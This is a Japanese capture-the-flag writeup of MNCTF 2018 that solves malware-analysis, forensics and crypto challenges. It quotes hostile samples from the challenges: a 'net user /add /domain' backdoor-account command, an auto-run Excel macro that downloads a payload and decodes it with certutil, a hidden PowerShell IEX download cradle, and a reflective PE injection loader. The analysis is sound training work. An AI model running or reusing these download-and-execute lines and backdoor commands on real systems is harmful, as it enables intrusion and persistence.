MNCTF 2018 Writeup
情シス担当者向けのCTFであるMNCTF 2018が一般公開されたので挑戦してみた。
本日開催した情シス担当者向けセキュリティチャレンジのMNCTFを一般公開しました。
— Shøta Shinogۜi🗝 (@Sh1n0g1) 2018年7月12日
チャレンジしてみてください。https://t.co/AgO3AhKxXZ
対象は情シス担当向けとのことだったが、個人的にはCSIRTでマルウェアの解析を行う人にとってはちょうど良いと感じた。
内容も実際に世の中の攻撃で使われるようなテクニックを題材にした問題が多く、とても実践的で素晴らしかった。
せっかくなので解き方を忘れないよう、全問Writeupを残しておこうと思う。
以下、ネタバレ注意
新人奮闘I (マルウェア解析 20pts)
問題ファイルのsha256のハッシュ値を取るだけ。
ハッシュ値を取得するだけならMacや通常のLinuxでもできるが、今回は他の問題のことも考えてマルウェア解析のためのツールが収録されたLinuxディストリビューションREMnuxを使った。
remnux@remnux:~/mnctf2018$ sha256sum AD_OptimizationTool.exe f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29 AD_OptimizationTool.exe
新人奮闘II (マルウェア解析 60pts)
マルウェア解析の結果を入力するWebフォームに以下の情報の入力を求められる。
引き続き解析にはREMnuxを使い、ファイル情報の部分はmd5sum,sha1sum,sha256sum,lsを使い、PE情報、Import関数の部分はpedumpを使った。
remnux@remnux:~/mnctf2018$ pedump --pe AD_OptimizationTool.exe === PE Header === signature: "PE\x00\x00" # IMAGE_FILE_HEADER: Machine: 332 0x14c x86 NumberOfSections: 3 3 TimeDateStamp: "2018-07-11 10:46:08" PointerToSymbolTable: 0 0 NumberOfSymbols: 0 0 SizeOfOptionalHeader: 224 0xe0 Characteristics: 271 0x10f RELOCS_STRIPPED, EXECUTABLE_IMAGE LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED 32BIT_MACHINE # IMAGE_OPTIONAL_HEADER32: Magic: 267 0x10b 32-bit executable LinkerVersion: 1.73 SizeOfCode: 512 0x200 SizeOfInitializedData: 1024 0x400 SizeOfUninitializedData: 0 0 AddressOfEntryPoint: 4096 0x1000 BaseOfCode: 4096 0x1000 BaseOfData: 8192 0x2000 ImageBase: 4194304 0x400000 SectionAlignment: 4096 0x1000 FileAlignment: 512 0x200 OperatingSystemVersion: 1.0 ImageVersion: 0.0 SubsystemVersion: 3.10 Reserved1: 0 0 SizeOfImage: 16384 0x4000 SizeOfHeaders: 512 0x200 CheckSum: 50749 0xc63d Subsystem: 3 3 WINDOWS_CUI DllCharacteristics: 0 0 SizeOfStackReserve: 4096 0x1000 SizeOfStackCommit: 4096 0x1000 SizeOfHeapReserve: 65536 0x10000 SizeOfHeapCommit: 0 0 LoaderFlags: 0 0 NumberOfRvaAndSizes: 16 0x10 remnux@remnux:~/mnctf2018$ pedump -I AD_OptimizationTool.exe === IMPORTS === MODULE_NAME HINT ORD FUNCTION_NAME kernel32.dll 0 ExitProcess kernel32.dll 0 Sleep shell32.dll 0 ShellExecuteA user32.dll 0 MessageBoxA
すべて正しい回答を入力すると、Flagが表示される。
新人奮闘III (マルウェア解析 40pts)
ファイルを実行すると、何かのコマンドが実行されてるので、それを調べて欲しいという問題。
バイナリをstringsすると、以下のような文字列があった。
/c net user /add /domain vpnadmin P@ssw0rD1!
/c
がついていることから、上記の文字列はcmd
の引数であると推測して、cmdを前につけたら正解だった。
ちなみにこのコマンドを実行されると、Active Directoryで管理しているDomain上にユーザが作成される。 ADの管理者がマルウェア(トロイの木馬)を踏んでバックドアユーザを作られるシナリオ、確かに現実世界でもありそうだなと感じました。
新人奮闘IV (フォレンジック 40pts)
ADと連携しているというVPNシステムのログインログを渡されて、前の問題の情報を踏まえてログインされた時間を答えろという問題。
前の問題で作成されたことがわかった vpnadmin
というユーザをログから探して、そのタイムスタンプを答えたら正解だった。
2018/07/13 15:01,vpnadmin,27.117.128.1
ADで認証がすべて行われるのでアカウントの管理が楽になる一方で、ADで不正なユーザを作られると、別の経路からネットワークに侵入されることがわかる良い問題だと思った。
新人奮闘V (その他 40pts)
前の問題で不正にログインしたユーザが使っているIPアドレスがどの国のものか調べろという問題。
$ whois 27.117.128.1 ... (省略) ... % Information related to '27.117.128.0 - 27.117.191.255' inetnum: 27.117.128.0 - 27.117.191.255 netname: TBROAD-KR descr: Tbroad Suwon Broadcasting Corporation country: KR admin-c: LS180-KR tech-c: LS180-KR status: ALLOCATED PORTABLE mnt-by: MNT-KRNIC-AP mnt-irt: IRT-KRNIC-KR remarks: This information has been partially mirrored by APNIC from remarks: KRNIC. To obtain more specific information, please use the remarks: KRNIC whois server at whois.krnic.net. changed: hostmaster@nic.or.kr source: KRNIC person: IP Manager address: Gyeonggi-do Paldal-gu, Suwon-si World cup-ro 336 address: country: KR phone: +82-70-8188-1086 e-mail: hysong@tbroad.com nic-hdl: LS180-KR mnt-by: MNT-KRNIC-AP changed: hostmaster@nic.or.kr source: KRNIC % This query was served by the APNIC Whois Service version 1.88.15-46 (WHOIS-JP3)
countryが KR
なので、韓国と答えたら正解だった。
大量不正 (マルウェア解析 スコア:80pts)
マルウェアと100個くらいのファイルが渡されて、類似性の高い組み合わせを見つけろという問題。
マルウェアの類似性というとssdeepがぱっと思いついたので、REMnuxでssdeepのシグネチャを取得し、比較。
remnux@remnux: ssdeep -s * > fuzzy.db remnux@remnux: ssdeep -s -m fuzzy.db remnux@remnux:~/mnctf2018/malware$ ssdeep -s -k fuzzy.db * fuzzy.db:/home/remnux/malware/sample100.bin matches fuzzy.db:/home/remnux/malware/sample100.bin (100) fuzzy.db:/home/remnux/malware/sample10.bin matches fuzzy.db:/home/remnux/malware/sample10.bin (100) fuzzy.db:/home/remnux/malware/sample11.bin matches fuzzy.db:/home/remnux/malware/sample11.bin (100) fuzzy.db:/home/remnux/malware/sample12.bin matches fuzzy.db:/home/remnux/malware/sample12.bin (100) fuzzy.db:/home/remnux/malware/sample13.bin matches fuzzy.db:/home/remnux/malware/sample13.bin (100) fuzzy.db:/home/remnux/malware/sample14.bin matches fuzzy.db:/home/remnux/malware/sample14.bin (100) fuzzy.db:/home/remnux/malware/sample15.bin matches fuzzy.db:/home/remnux/malware/sample15.bin (100) fuzzy.db:/home/remnux/malware/sample16.bin matches fuzzy.db:/home/remnux/malware/sample16.bin (100) fuzzy.db:/home/remnux/malware/sample17.bin matches fuzzy.db:/home/remnux/malware/sample17.bin (100) fuzzy.db:/home/remnux/malware/sample18.bin matches fuzzy.db:/home/remnux/malware/sample18.bin (100) fuzzy.db:/home/remnux/malware/sample19.bin matches fuzzy.db:/home/remnux/malware/sample19.bin (100) fuzzy.db:/home/remnux/malware/sample1.bin matches fuzzy.db:/home/remnux/malware/sample1.bin (100) fuzzy.db:/home/remnux/malware/sample1.bin matches fuzzy.db:/home/remnux/malware/sample68.bin (99) fuzzy.db:/home/remnux/malware/sample20.bin matches fuzzy.db:/home/remnux/malware/sample20.bin (100) fuzzy.db:/home/remnux/malware/sample21.bin matches fuzzy.db:/home/remnux/malware/sample21.bin (100) fuzzy.db:/home/remnux/malware/sample22.bin matches fuzzy.db:/home/remnux/malware/sample22.bin (100) ...
同じファイルのシグネチャと比較しているので100でmatchするのがあるのは当然だが、sample1.binとsample68.binだけ99でmatchしている。 この組み合わせを入れると正解だった。
種類特定 (ネットワーク 80 Pts)
サンドボックス上でマルウェアを動作させた際のマルウェアの通信を記録したpcapファイルが渡され、そこからマルウェアの名前を特定しろという問題。
HTTPパケットのURIを見ると、/images/
から始まっておりランダムな文字列が続いている。
これ見て調べるまでもなく一瞬でUrsnifとわかったので、Ursnifと入れたら正解だった。
標的攻撃I (マルウェア解析 60pts)
特定のユーザでしか動作しない検体があるので、そのユーザ名を特定しろとのこと。
検体の拡張子は.xlsだが、マクロが含まれている気がしたので、REMnuxにインストールされているoledump.pyでマクロを確認してみる。
remnux@remnux:~/mnctf2018$ oledump.py 製品価格一覧20180711.xls 1: 110 '\x01CompObj' 2: 476 '\x05DocumentSummaryInformation' 3: 324 '\x05SummaryInformation' 4: 213 'MsoDataStore/FJ\xc3\x9eQ\xc3\x81Q\xc3\x91P\xc3\x97\xc3\x84\xc3\x9e\xc3\x92\xc3\x92\xc3\x84\xc3\x9aWJM\xc3\x92FIQ==/Item' 5: 335 'MsoDataStore/FJ\xc3\x9eQ\xc3\x81Q\xc3\x91P\xc3\x97\xc3\x84\xc3\x9e\xc3\x92\xc3\x92\xc3\x84\xc3\x9aWJM\xc3\x92FIQ==/Properties' 6: 19430 'Workbook' 7: 429 '_VBA_PROJECT_CUR/PROJECT' 8: 62 '_VBA_PROJECT_CUR/PROJECTwm' 9: m 1150 '_VBA_PROJECT_CUR/VBA/Sheet1' 10: M 3179 '_VBA_PROJECT_CUR/VBA/ThisWorkbook' 11: 2835 '_VBA_PROJECT_CUR/VBA/_VBA_PROJECT' 12: 2319 '_VBA_PROJECT_CUR/VBA/__SRP_0' 13: 152 '_VBA_PROJECT_CUR/VBA/__SRP_1' 14: 1244 '_VBA_PROJECT_CUR/VBA/__SRP_2' 15: 149 '_VBA_PROJECT_CUR/VBA/__SRP_3' 16: 276 '_VBA_PROJECT_CUR/VBA/__SRP_4' 17: 66 '_VBA_PROJECT_CUR/VBA/__SRP_5' 18: 523 '_VBA_PROJECT_CUR/VBA/dir'
10番目にマクロが含まれているので、この中身を見てみる。
remnux@remnux:~/mnctf2018$ oledump.py -v -s 10 製品価格一覧20180711.xls Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Declare Sub Sleep Lib "kernel32" (ByVal ms As Long) Private Sub Workbook_Open() us = Application.UserName For Each C In ActiveSheet.Range("C6:C11") If us = C.Value Then Set objShell = CreateObject("WScript.Shell") startupFolder = objShell.SpecialFolders("Startup") Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP") Dim bStrm: Set bStrm = CreateObject("Adodb.Stream") xHttp.Open "GET", "https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert", False xHttp.Send With bStrm .Type = 1 '//binary .Open .write xHttp.responseBody .savetofile startupFolder & "\cert.pem", 2 '//overwrite End With Sleep (10000) Shell "certutil -decode """ & startupFolder & "\cert.pem"" """ & startupFolder & "\cert.exe""" Sleep (5000) Shell startupFolder & "\cert.exe" End If Next End Sub
ワークシートのC6からC11に入力されている値と現在のユーザ名が一致すると、コードが動作するようだ。
REMnuxにインストールしたLibreOfficeでワークシートを見てみるとCの列が見えないが、Cの列の横幅を広げると、白文字で書かれたユーザ名が見える。
このユーザ名の中から一つを入れると正解だった。
標的攻撃II (マルウェア解析 40pts)
この検体が動作すると、HTTPSでどのURLへアクセスするか答えろという問題。
前の問題で解析したマクロの中で、ユーザ名が一致した後の処理に、HTTPで指定したURL先にアクセスする処理がある。 このURLを答えると正解だった。
標的攻撃III (マルウェア解析 80pts)
検体が動作後に生成される2次検体のsha256を答えろという問題。
2次検体の生成の処理は、前の問題のURLからダウンロードしたファイルをcertutilを使ってdecodeしている。
証明書ファイルは、ファイルのヘッダとフッタを除けばBase64エンコードされたファイルなので、以下のようなコマンドで2次検体を生成した。
remnux@remnux:~/mnctf2018$ wget https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert" remnux@remnux:~/mnctf2018$ sed -n 2p cert | base64 -d > cert.exe
その後生成されたsha256sumを使ってハッシュ値を算出し、これを回答したら正解だった。
標的攻撃IV (ネットワーク 80 pts)
2次検体が動作したときに発生する最初のURLを回答しろという問題。
Windows上で2次検体を動作させてProcess Explorerでプロセスの情報を確認したところ、以下のようなPowershellが立ち上がってることがわかった。
powershell -WindowStyle Hidden IEX (New-Object Net.WebClient).DownloadString('https://shinobotps1.com/download_get.php');
ここに書かれているURLが正解だった。
ちなみにこの問題ファイルはマルウェアと間違えられてたみたい。確かによく出来てるけどw
#malicious #xls -> #vba script -> #dl encoded #certificate (hosted on @github)-> decode with #certutil -> #PE#cert: https://t.co/vkrTIBAwYQ #PE: https://t.co/rkkEGnSWjo@decalage2 error when redirecting to file, also @Malwageddon please check this sample pic.twitter.com/lMmaJzcxe8
— Malwrologist (@DissectMalware) July 12, 2018
穴埋防御 (マルウェア解析 100 pts)
社内のサーバで見つかった不審なファイルから生成されるマルウェアをスキャンするためのyaraルールがベンダから提供されたが、一部欠けているのでそれを埋めろという問題。 yaraルールに埋める情報はコメントで書いてあって、マルウェアが使うMutex名とのことだった。
まずは、不審なファイルをデコードして、生成されるマルウェアを取り出す。
不審なファイルはBase64でエンコードされているのでデコードを行うと、以下のようなPowershellスクリプトが出力された。(おそらく、PowerSploitと呼ばれるペンテスト用ツールのコードの一部を使ったもの)
function Invoke-ReflectivePEInjection { ... (省略) ... #Main function to either run the script locally or remotely Function Main { if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) { $DebugPreference = "Continue" } Write-Verbose "PowerShell ProcessID: $PID" #if ($PsCmdlet.ParameterSetName -ieq "LocalFile") #{ [Byte[]]$PEBytes = [System.Convert]::FromBase64String($PEBytes) for ($i = 0; $i -lt $PEBytes.Count; $i++) { $PEBytes[$i]=$PEBytes[$i] -bXOR 0x17 } #[Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath)) #} #Verify the image is a valid PE file $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' if ($e_magic -ne 'MZ') { throw 'PE is not a valid PE file.' } $PEBytes[0] = 0 $PEBytes[1] = 0 Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $Func, $ProcId,$ForceASLR) } Main } Invoke-ReflectivePEInjection -PEBytes "Wk2HFxQXFxcTFxcX6OgXF68XFxcXFx ...(省略) ... xcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxc=" -FUNC Start
デコードされたコードの後半に行くと、Invoke-ReflectivePEInjection
関数を実行している部分がある。
引数として、-PEBytes
オプションでBase64エンコードされたデータを指定おり、これが次に実行される2次検体と考えられる。
このデータをデコードする処理は直前のMain関数内に記載されており、Base64でデコード、データを0x17でXORする処理である。 この処理をPythonで行い、実行ファイルをデコードした。
Mutexを実行ファイルから見つけるのは、SANS DFIRの以下の記事を参考にした。
この記事によると、「Process ExplorerでMutex Objectを参照するハンドルを含むホスト上の開いているハンドルを一覧表示できる」とのこと。
デコードしたファイルを実行し、Process Explorerを実行。 Process Explorerのメニューの「view->Lower Pane View->Handler」を選択後、プロセスを選択してLower Paneに表示されるHandle情報を見たところ、以下のようなMutant (Mutex) があった。
ここに書かれている 1q2w3e4r0o9i8u7y6t
がMutex名で、これを回答すると正解だった。
盗難情報 (暗号 100 pts)
攻撃者が外部に機密情報をアップロードする際にXOR(シングルバイトキー)→ Base64 → ROT13で暗号化しているので、ファイルを復号して記載されている製品番号を答えろという問題。
復号は暗号化と逆の順番で復号するための処理を行い、rot13は暗号化と同じように13文字ずらす、Base64はデコード処理、XORは暗号化したときと同じ鍵を使って各バイトに対してXORを行えば良い。 ただし、XORは鍵がわからないのでそれを見つける必要がある。ただ、鍵長が1byteとわかっているので総当たりで行ける。
まずは、以下のようなコードをPythonで書いて、候補となる255個のバイナリファイルを生成。
import codecs import base64 f = open('encrypted.bin','r') data1 = f.read() # rot13 decode data2 = codecs.decode(data1, 'rot13') # base64 decode data3 = base64.b64decode(data2) # XOR (Single Byte key) result = [] for key in range(0, 256): res = b"" for d in data3: res += (d^key).to_bytes(1,'little') result.append(res) i = 0 for res in result: f = open('./results/result'+str(i),'wb') f.write(res) f.close() i=i+1
その後、fileコマンドで生成されたすべてのバイナリファイルの種類を見てみると、result21というファイルがPNGファイルであることがわかった。
$ file * result0: data result1: data result10: data result100: data .... result206: data result207: data result208: data result209: data result21: PNG image data, 660 x 441, 8-bit/color RGB, non-interlaced result210: data result211: data ...
このresult21に拡張子pngを追加して、画像ビューアで見てみると製品番号が書いてある。 これを回答すると正解だった。